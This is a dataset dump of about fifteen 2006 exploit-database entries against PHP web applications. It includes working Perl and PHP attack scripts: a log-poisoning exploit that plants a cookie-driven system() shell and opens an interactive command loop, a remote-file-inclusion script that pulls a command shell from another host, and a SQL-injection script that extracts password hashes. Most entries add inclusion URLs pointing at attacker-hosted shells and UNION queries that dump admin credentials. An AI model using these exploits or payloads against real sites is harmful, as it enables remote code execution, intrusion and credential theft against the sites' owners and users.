QLWD/code_shield huggingface dataset:
标题: Album Photo Sans Nom 1.6 - Remote Source Disclosure EDB-ID: 2507 CVE: 2006-5320 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-10 漏洞利用脚本: #
# Title..: 7 php scripts File Inclusion Vuln / Source disclosure
# Credits: DarkFig
# Og.link: http://acid-root.new.fr/poc/13061007.txt
#
# Using http://www.google.com/codesearch
# Few examples about what we can do with a code search engine
# For educational purpose only.
#
# You can use regex in your research, this can be chaotic.
# What's your opinion about the google code search project ?
#

# Affected.scr: Album Photo Sans Nom v1.6
# Download....: http://scripts.bezut.info/releases/APSN/albumV1.6.tgz
# Poc.........: http://victim.pl/getimg.php?img=config.inc.php
# Vuln.code...: Line 47, readfile($_GET['img']);

# milw0rm.com [2006-10-10] URL: https://www.exploit-db.com/exploits/2507
标题: registroTL - 'main.php' Remote File Inclusion EDB-ID: 2502 CVE: 2006-5316 2006-5315 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-10 漏洞利用脚本: #
# Title..: 7 php scripts File Inclusion Vuln / Source disclosure
# Credits: DarkFig
# Og.link: http://acid-root.new.fr/poc/13061007.txt
#
# Using http://www.google.com/codesearch
# Few examples about what we can do with a code search engine
# For educational purpose only.
#
# You can use regex in your research, this can be chaotic.
# What's your opinion about the google code search project ?

# Affected.scr: registroTL
# Download....: http://www.phplibre.com.es/downloads/registroTL.zip
# Poc.........: http://victim.com/main.php?page=ftp://hack.com/backdrphpext
#               http://victim.com/usuarios.dat <- Passwords disclosure
# Vuln.code...: if (isset($_GET['page']) && file_exists($_GET['page'].".php"))
#               include($_GET['page'].".php");

# milw0rm.com [2006-10-10] URL: https://www.exploit-db.com/exploits/2502
标题: Claroline 1.8.0 rc1 - 'import.lib.php' Remote File Inclusion EDB-ID: 2510 CVE: 2006-5256 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-10 漏洞利用脚本: ##################################################################################
# claroline <= 180rc1 Remote File Inclusion
# Download Source : http://www.claroline.net/dlarea/claroline180rc1.tar.gz
#
# Found By    : k1tk4t - k1tk4t[4t]newhack.org
# Location      : Indonesia   -- #newhack[dot]org
########################################################################
file ;
claroline/inc/lib/import.lib.php
########################################################################
bugs ; begin line 8 require_once ($includePath .  '/claro_init_global.inc.php');
   require_once ($includePath . '/lib/export_zip.lib.php');
   require_once ($includePath . '/../wiki/lib/lib.createwiki.php');
   require_once ($includePath . '/lib/pclzip/pclzip.lib.php');
 require_once ($includePath . '/lib/fileManage.lib.php');
   require_once ($includePath . '/lib/forum.lib.php');
   require_once ($includePath . '/lib/import.xmlparser.lib.php');
   require_once ($includePath . '/lib/add_course.lib.inc.php');
 require_once ($includePath . '/lib/course.lib.inc.php');
 require_once ($includePath . '/lib/sendmail.lib.php');
   require $includePath.'/lib/debug.lib.inc.php';
########################################################################
exmple and methode exploit ;
claroline/inc/lib/import.lib.php?includePath=http://shell/cmd.do?
########################################################################
Thanks;
str0ke
milw0rm
google
#e-c-h-o (all member echo community)
#nyubi (all member solpotcrew community)
person;
y3dips, lirva32, the_day,(&all echo staff) nyubi,x-ace,NoGe(asiahacker),ghoz, home_edition2001,matdhule, iFX, and for all (friend's&enemy)

# milw0rm.com [2006-10-10] URL: https://www.exploit-db.com/exploits/2510
标题: phpMyAgenda 3.1 - '/templates/header.php3' Local File Inclusion EDB-ID: 2500 CVE: 2006-5263 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-10 漏洞利用脚本: #!/usr/bin/perl

use IO::Socket;
use LWP::Simple;

print "\n";
print "#################################################################\n";
print "#                                                               #\n";
print "# phpMyAgenda < 3.1 Multiple Remote Vulnerabilities Exploit     #\n";
print "# Bug found By : Ashiyane Corporation                           #\n";
print "# Email: Nima Salehi    nima[at]ashiyane.ir                     #\n";
print "# Web Site : www.Ashiyane.ir                                    #\n";
print "#                                                               #\n";
print "#################################################################\n";


if (@ARGV < 3)
{
    print "\n Usage: Ashiyane.pl [host] [path] [access.log path]";
    print "\n EX : Ashiyane.pl www.victim.com /phpMyAgenda/ ../../../logs/access.log \n\n";
exit;
}


$host=$ARGV[0];
$path=$ARGV[1];
$accpath=$ARGV[2];


print "Injecting some code in log files...\n";

$CODE="<?php ob_clean();system(\$HTTP_COOKIE_VARS[cmd]);die;?>";
$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$host", PeerPort=>"80") or die " Could not connect to host.\n\n";
print $socket "GET ".$path.$CODE." HTTP/1.1\r\n";
print $socket "User-Agent: ".$CODE."\r\n";
print $socket "Host: ".$host."\r\n";
print $socket "Connection: close\r\n\r\n";
close($socket);


print "Type Your Commands ( uname -a )\n";
print "For Exiit Type END\n";
print "IF not working try another access.log path\n\n";

print "[shell] ";$cmd = <STDIN>;

while($cmd !~ "END") {
    $socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$host", PeerPort=>"80") or die "Could not connect to host.\n\n";

    print $socket "GET ".$path."templates/header.php3?language=".$accpath."%00&cmd=$cmd HTTP/1.1\r\n";
    print $socket "Host: ".$host."\r\n";
    print $socket "Accept: */*\r\n";
    print $socket "Connection: close\r\n\n";

    while ($raspuns = <$socket>)
    {
        print $raspuns;
    }

    print "[shell] ";
    $cmd = <STDIN>;
}

# milw0rm.com [2006-10-10] URL: https://www.exploit-db.com/exploits/2500
标题: docmint 2.0 - '/engine/require.php' Remote File Inclusion EDB-ID: 2493 CVE: 2006-5240 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-09 漏洞利用脚本: #!/usr/bin/perl
##
# docmint <= 2.0 (MY_ENV[BASE_ENGINE_LOC]) Remote File Inclusion Exploit
# Bug Found & code By K-159 
##
# echo.or.id (c) 2006
# 
##
# usage:
# perl docmint.pl <target> <cmd shell location> <cmd shell variable>
#
# perl docmint.pl http://target.com/ http://site.com/cmd.txt cmd
#
# cmd shell example: <?passthru($_GET[cmd]);?>
#
# cmd shell variable: ($_GET[cmd]);
##
# #
#Greetz: My Dearest Wife - ping, echo|staff (y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,negative), SinChan, sakitjiwa, maSter-oP, mr_ny3m, bithedz, lieur-euy, x16, mbahngarso, etc
# 
# Contact: www.echo.or.id #e-c-h-o @irc.dal.net
##

use LWP::UserAgent;

$Path = $ARGV[0];
$Pathtocmd = $ARGV[1];
$cmdv = $ARGV[2];

if($Path!~/http:\/\// || $Pathtocmd!~/http:\/\// || !$cmdv){usage()}

head();

while()
{
       print "[shell] \$";
while(<STDIN>)
       {
               $cmd=$_;
               chomp($cmd);

$xpl = LWP::UserAgent->new() or die;
$req = HTTP::Request->new(GET =>$Path.'engine/require.php?MY_ENV[BASE_ENGINE_LOC]='.$Pathtocmd.'?&'.$cmdv.'='.$cmd)or die "\nCould Not connect\n";

$res = $xpl->request($req);
$return = $res->content;
$return =~ tr/[\n]/[Ã.Âª]/;

if (!$cmd) {print "\nPlease Enter a Command\n\n"; $return ="";}

elsif ($return =~/failed to open stream: HTTP request failed!/ || $return =~/: Cannot execute a blank command in <b>/)
       {print "\nCould Not Connect to cmd Host or Invalid Command Variable\n";exit}
elsif ($return =~/^<br.\/>.<b>Fatal.error/) {print "\nInvalid Command or No Return\n\n"}

if($return =~ /(.*)/)


{
       $finreturn = $1;
       $finreturn=~ tr/[Ã.Âª]/[\n]/;
       print "\r\n$finreturn\n\r";
       last;
}

else {print "[shell] \$";}}}last;

sub head()
 {
 print "\n============================================================================\r\n";
 print " *docmint <= 2.0 (MY_ENV[BASE_ENGINE_LOC]) Remote File Inclusion Exploit*\r\n";
 print "============================================================================\r\n";
 }
sub usage()
 {
 head();
 print " Usage: perl docmint.pl <target> <cmd shell location> <cmd shell variable>\r\n\n";
 print " <Site> - Full path to docmint ex: http://www.site.com/ \r\n";
 print " <cmd shell> - Path to cmd Shell e.g http://www.different-site.com/cmd.txt \r\n";
 print " <cmd variable> - Command variable used in php shell \r\n";
 print "============================================================================\r\n";
 print "                           Bug Found by K-159 \r\n";
 print "                    www.echo.or.id #e-c-h-o irc.dal.net 2006 \r\n";
 print "============================================================================\r\n";
 exit();
 }

# milw0rm.com [2006-10-09] URL: https://www.exploit-db.com/exploits/2493
标题: PHPMyNews 1.4 - 'cfg_include_dir' Remote File Inclusion EDB-ID: 2488 CVE: 2006-5261 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-08 漏洞利用脚本: -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

PHPMyNews 1.4 <= (cfg_include_dir) Remote File Include Vulnerability

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Discovered by XORON(turkish hacker)

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

URL:
http://membres.lycos.fr/fdproweb/fdproweb/php_scripts/phpmynews-1.4B1.zip

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

CODE:

require($cfg_include_dir.'langues/'.$cfg_language.'.inc'.$cfg_ext);
require($cfg_include_dir.'database/'.$cfg_database.'.inc'.$cfg_ext);
require($cfg_include_dir.'form.inc'.$cfg_ext);


-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Exploit:

http://www.hedef.com/[phpmynews_path]/include/disp_form.php3?cfg_include_dir=http://sh3LL?
http://www.hedef.com/[phpmynews_path]/include/disp_smileys.php3?cfg_include_dir=http://sh3LL?
http://www.hedef.com/[phpmynews_path]/include/little_news.php3?cfg_include_dir=http://sh3LL?
http://www.hedef.com/[phpmynews_path]/include/index.php3?cfg_include_dir=http://sh3LL?

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Thanx: str0ke, Preddy, Ironfist, Stansar, SHiKaA, O.G,

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

# milw0rm.com [2006-10-08] URL: https://www.exploit-db.com/exploits/2488
标题: Freenews 1.1 - 'moteur.php' Remote File Inclusion EDB-ID: 2490 CVE: 2006-5226 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-08 漏洞利用脚本: -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Freenews v1.1 <= (chemin) Remote File Include Vulnerability

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Discovered by XORON(turkish hacker)

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

URL:
http://membres.lycos.fr/fdproweb/fdproweb/php_scripts/freenews1_1.zip

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

CODE:

include ("$chemin/moteur/moteur_form.php");
include ("$chemin/moteur/moteur_tab_results.php");

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Exploit:

http://www.hedef.com/[freenews_path]/moteur/moteur.php?chemin=http://sh3LL?

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Thanx: str0ke, Preddy, Ironfist, Stansar, SHiKaA, O.G,DJR

www.cyber-warrior.org
www.team-rootshell.com
irc.milw0rm.com #rootshell

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

# milw0rm.com [2006-10-08] URL: https://www.exploit-db.com/exploits/2490
标题: 4Images 1.7.x - 'search.php' SQL Injection EDB-ID: 2487 CVE: 2006-5236 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-08 漏洞利用脚本: #!/usr/bin/php
<?php
/*
4images 1.7.x Remote SQL Injection Vulnerability

Usage: php file.php [host] [path] [table prefix] [user id]

Googledork "powered by 4images 1.7.x"

Vulnerability: Disfigure
Research: h3llfyr3
Coding: Synsta.

PoC:
<target>/<4images_dir>/search.php?search_user=x%2527%20union%20select%20user_password%20from%204images_users%20where%20user_name=%2527ADMIN

[w4ck1ng] - w4ck1ng.com
*/
if(!$argv[3]){
die("Usage:
php $argv[0] [host] [path] [options] [table prefix] [user id]\n
Options:
-d: Determine table prefix\n
Example:
php $argv[0] domain.com /4images/ 4images_ 1
php $argv[0] domain.com /4images/ -d\n");
}
if(eregi("http://", $argv[1])){
die("Usage:
php $argv[0] [host] [path] [options] [table prefix] [user id]\n
Options:
-d: Determine table prefix\n
Example:
php $argv[0] domain.com /4images/ 4images_ 1
php $argv[0] domain.com /4images/ -d\n");
}
if($argv[3]=="-d"){
$pipe = fsockopen($argv[1],80);
if(!$pipe){
die("Cannot connect to host.");
} else {
$sql = "x%27";
$sql = urlencode($sql);
$req =  "GET $argv[2]"."search.php?search_user="."$sql HTTP/1.1\r\n";
$req .= "Host: $argv[1]\r\n";
$req .= "Connection: Close\r\n\r\n";
fwrite($pipe , $req);
while(!feof($pipe)) {
$data .= fgets($pipe);
}
$gdata= explode("FROM ",$data);
$gtab = explode("WHERE ",$gdata[1]);
$tab = trim($gtab[0]);
$tab = str_replace("users","",$tab);
if(eregi("<br />", $page)){ die("Failed.."); }else{ die("Table Prefix: $tab\n"); }
}
}
if($argv[4]){
$pipe = fsockopen($argv[1],80);
if(!$pipe){
die("Cannot connect to host.");
} else {
$sql = "x%27%20union%20select%20user_password%20from%20"."$argv[3]"."users%20where%20user_id%3D%27$argv[4]";
$sql = urlencode($sql);
$req =  "GET $argv[2]"."search.php?search_user="."$sql HTTP/1.1\r\n";
$req .= "Host: $argv[1]\r\n";
$req .= "Connection: Close\r\n\r\n";
fwrite($pipe , $req);
while(!feof($pipe)) {
$data .= fgets($pipe);
}
$gdata = explode("Unknown column '",$data);
$ghash = explode("' in 'where clause'",$gdata[1]);
$hash = $ghash[0];
if(strlen($hash) != 32){ die("Exploit failed..\n"); }else{ echo "Outputted Hash: $hash\n"; }
}
}
?>

# milw0rm.com [2006-10-08] URL: https://www.exploit-db.com/exploits/2487
标题: FreeForum 0.9.7 - 'forum.php' Remote File Inclusion EDB-ID: 2484 CVE: 2006-5230 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-07 漏洞利用脚本: -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

FreeForum 0.9.7 (fpath) Remote File Include Vulnerability

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Discovered by XORON(turkish hacker)

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

URL: http://www.ezforum.de/downloads/Forum.zip (229kb)

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Vuln. Code: in forum.php.

if(!isset($cfg_file))$cfg_file="config/config.inc.php";
if(!isset($fpath))$fpath=".";
if(!isset($getvar))$getvar='';
include("$fpath/lib/php/classes.php");

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Exploit: /forum.php?cfg_file=1&fpath=http://sh3LL?

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Thanx: str0ke, Preddy, Ironfist, Stansar, SHiKaA, O.G,

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

# milw0rm.com [2006-10-07] URL: https://www.exploit-db.com/exploits/2484
标题: phpBB Security Suite Mod 1.0.0 - 'logger_engine.php' Remote File Inclusion EDB-ID: 2480 CVE: 2006-5224 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-05 漏洞利用脚本: /      \
        \  \  ,,  /  /
         '-.`\()/`.-'
        .--_'(  )'_--.
       / /` /`""`\ `\ \           * SpiderZ Hacking Security *
        |  |  ><  |  |
        \  \      /  /
            '.__.'


# Author: SpiderZ
# Security Suite IP Logger Remote File Inclusion Vulnerability
# For: phpBB ( 2.0.x - 2.0.21 )
# Site: www.spiderz.altervista.org
# Site02: www.spiderz.netsons.org
_________________________________________________________________________


# Remote File Inclusion - Security Suite IP Logger



http://site.com/[path]/includes/logger_engine.php?phpbb_root_path=http://[Evil_script]



-------------------------------------------------------------------------

# Download: http://www.phpbb.de/viewtopic.php?t=30261

# Download2: http://prdownload.berlios.de/dwingmods/logger_mod100.zip

-------------------------------------------------------------------------

# milw0rm.com [2006-10-05] URL: https://www.exploit-db.com/exploits/2480
标题: phpBB User Viewed Posts Tracker 1.0 - Remote File Inclusion EDB-ID: 2483 CVE: 2006-5223 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-06 漏洞利用脚本: -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

phpBB User Viewed Posts Tracker Version <= 1.0 [phpbb_root_path] File Include Vulnerability

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Discovered by XORON(turkish hacker)

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

URL: http://www.nivisec.com/downloads/phpbb/user_viewed_posts.zip

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Vuln. Code: include_once($phpbb_root_path . 'language/lang_' .
$board_config['default_lang'] . '/lang_user_viewed_posts.' . $phpEx);

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Exploit:
/includes/functions_user_viewed_posts.php?phpbb_root_path=http://SH3LL?

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Thanx: str0ke, Preddy, Ironfist, Stansar, SHiKaA

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

# milw0rm.com [2006-10-06] URL: https://www.exploit-db.com/exploits/2483
标题: PHP Classifieds 7.1 - 'index.php' SQL Injection EDB-ID: 2479 CVE: 2006-5208 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-05 漏洞利用脚本: ----
Credit: Kzar kzar@kzar.co.uk
kzar.co.uk/exploits/phpclassifieds_exploit
----
App Name: PHP Classifieds => 7.1
App URL: www.deltascripts.com/phpclassifieds
Problem: Multiple SQL Injection exploits
----
Exploit: search.php?catid_search=[sql]
        index.php?catid=[sql]
----
Example: Puts Username and Password in the title and on the page
index.php?catid=0 UNION SELECT concat(adm_name, space(1), adm_pass) AS adm_name, NULL FROM phpclass_admins
----
Context: These are the vulnerable queries
select cat_tpl from $cat_tbl where cat_id = ".$_REQUEST["catid_search"]
select cat_name,cat_tpl from $cat_tbl where cat_id = $catid
----
Google: Just go to http://www.deltascripts.com/phpclassifieds/livesites/
----

# milw0rm.com [2006-10-05] URL: https://www.exploit-db.com/exploits/2479
标题: phpMyTeam 2.0 - 'smileys_dir' Remote File Inclusion EDB-ID: 2478 CVE: 2006-5207 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-05 漏洞利用脚本: -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

phpMyTeam v2.0 <= (smileys_dir) Remote File Include Vulnerability

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Discovered by XORON(turkish hacker)

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

URL: http://www.phpscripts-fr.net/scripts/download.php?id=1627

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Vuln. Code:

$smiley_pack_path = $smileys_dir.$smiley_pack_name.'/';
@include($smiley_pack_path.'smileys.php');

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Exploit: /images/smileys/smileys_packs.php?smileys_dir=http://sh3LL?

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Thanx: str0ke, Preddy, Ironfist, Stansar, SHiKaA

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

# milw0rm.com [2006-10-05] URL: https://www.exploit-db.com/exploits/2478
标题: Dimension of phpBB 0.2.6 - 'phpbb_root_path' Remote File Inclusions EDB-ID: 2481 CVE: 2006-5222 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-05 漏洞利用脚本: _________________________________________________________________________


           /      \
        \  \  ,,  /  /
         '-.`\()/`.-'
        .--_'(  )'_--.
       / /` /`""`\ `\ \           * SpiderZ Hacking Security *
        |  |  ><  |  |
        \  \      /  /
            '.__.'


# Author: SpiderZ
# Dimension of phpBB Remote File Inclusion Vulnerability
# For: Dimension of phpBB 0.2.5 (phpBB 2.0.21)
# Site: www.spiderz.altervista.org
# Site02: www.spiderz.netsons.org
_________________________________________________________________________


# Remote File Inclusion

http://site.com/[path]/includes/themen_portal_mitte.php?phpbb_root_path=http://[Evil_script]

http://site.com/[path]/includes/logger_engine.php?phpbb_root_path=http://[Evil_script]


------------------------------------------------------------------------------

# Download: http://www.phpbb-dimension.de/dload.php?action=category&cat_id=16

------------------------------------------------------------------------------

# milw0rm.com [2006-10-05] URL: https://www.exploit-db.com/exploits/2481
标题: phpBB Static Topics 1.0 - 'phpbb_root_path' File Inclusion EDB-ID: 2477 CVE: 2006-5191 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-04 漏洞利用脚本: ---------------------------------------------------------------------------
phpBB Static Topics <= 1.0 [phpbb_root_path] Remote File Include Vulnerability
---------------------------------------------------------------------------


Discovered By Kw3[R]Ln [ Romanian Security Team ] : hTTp://RST-CREW.net :
Remote : Yes
Critical Level : Dangerous
---------------------------------------------------------------------------

Affected software description :
~~~~~~~~~~~~~~~~~~~~~~~~~~~
Application : phpBB Static Topics
version : 1.0
URL : http://www.nivisec.com/downloads/phpbb/static_forums.zip
------------------------------------------------------------------


Exploit:
~~~~~
Variable $phpbb_root_path not sanitized.When register_globals=on an attacker ca
n exploit this vulnerability with a simple php injection script.

# http://www.site.com/[path]/includes/functions_static_topics.php?phpbb_root_path=[Evil_Script]
---------------------------------------------------------------------------

Solution :
~~~~~~~
declare variabel $phpbb_root_path
---------------------------------------------------------------------------


Shoutz:
~~~

# Special greetz to my good friend [Oo]
# To all members of #h4cky0u and RST [ hTTp://RST-CREW.net ]
---------------------------------------------------------------------------

*/

Contact:
~~~~~

Nick: Kw3rLn
E-mail: ciriboflacs[at]YaHoo[dot]Com
Homepage: hTTp://RST-CREW.NET
_/*

# milw0rm.com [2006-10-04] URL: https://www.exploit-db.com/exploits/2477